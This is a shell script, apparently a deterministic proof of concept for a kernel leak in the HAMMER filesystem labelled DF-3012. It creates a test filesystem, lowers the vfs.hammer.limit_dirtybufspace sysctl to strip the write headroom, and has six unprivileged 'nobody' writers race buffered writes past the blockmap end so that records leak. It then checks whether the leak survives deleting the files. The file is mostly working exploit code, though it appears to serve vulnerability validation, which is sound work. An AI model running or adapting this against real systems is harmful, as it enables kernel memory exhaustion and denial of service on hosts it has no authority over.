DF-3012 / run.sh
#!/bin/sh # DF-3012 deterministic leak validation. # # The checkspace gate reserves vfs.hammer.limit_dirtybufspace (default # 49MB = half the global dirty-buffer cap) as headroom so buffered # writes cannot overshoot the real blockmap. That reserve is the ONLY # thing standing between an unprivileged buffered write and a failing # hammer_blockmap_reserve() inside hammer_ip_add_bulk(). Lowering the # sysctl (runtime-writable) removes the headroom and makes the leak # deterministic: every write that passes the (now much weaker) gate but # flushes after the blockmap wraps leaks one record. # # The writes themselves are done by 'nobody'; root only sets up the fs, # the sysctl, and takes measurements. zone() { vmstat -m | awk '/HAMMER-others/ {print $2" allocs, "$3" in-use";}'; } resvfail() { dmesg | grep -c "reservation failed"; } cat > /tmp/writers.sh <<'EOF' #!/bin/sh name=$1; n=$2; skip=${3:-0} i=0 while [ $i -lt $n ]; do dd if=/tmp/rand.bin of=/mnt/h1/$name-$i.bin bs=1m \ skip=$((skip + i*16)) count=16 2>/dev/null i=$((i+1)) done EOF chmod 755 /tmp/writers.sh dd if=/dev/urandom of=/tmp/rand.bin bs=1m count=192 2>/dev/null umount /mnt/h1 2>/dev/null vnconfig -u vn0 2>/dev/null rm -f /root/h1.img dd if=/dev/zero of=/root/h1.img bs=1m count=512 2>/dev/null vnconfig -c vn0 /root/h1.img newfs_hammer -f -L TEST -u 64m /dev/vn0 >/dev/null 2>&1 mkdir -p /mnt/h1 mount -t hammer -o nohistory /dev/vn0 /mnt/h1 chmod 777 /mnt/h1 sync; sleep 1 echo "=== remove the gate headroom (root, runtime sysctl) ===" sysctl vfs.hammer.limit_dirtybufspace=2097152 echo "=== fresh fs, baseline ===" df -h /mnt/h1 | tail -1 zone; echo "reservation-failed-prints=$(resvfail)" echo "=== attack: unprivileged 6-writer race past the real blockmap end ===" su -m nobody -c ' /tmp/writers.sh s1 20 0 & /tmp/writers.sh s2 20 8 & /tmp/writers.sh s3 20 16 & /tmp/writers.sh s4 20 24 & /tmp/writers.sh s5 20 32 & /tmp/writers.sh s6 20 40 & wait' sync; sleep 3; sync df -h /mnt/h1 | tail -1 zone; echo "reservation-failed-prints=$(resvfail)" echo "=== persistence: rm everything, sync, wait ===" rm -f /mnt/h1/*.bin sync; sleep 4; sync zone; echo "reservation-failed-prints=$(resvfail)" echo "=== restore default sysctl ===" sysctl vfs.hammer.limit_dirtybufspace=51585024 df -h /mnt/h1 | tail -1 echo "=== done ===" |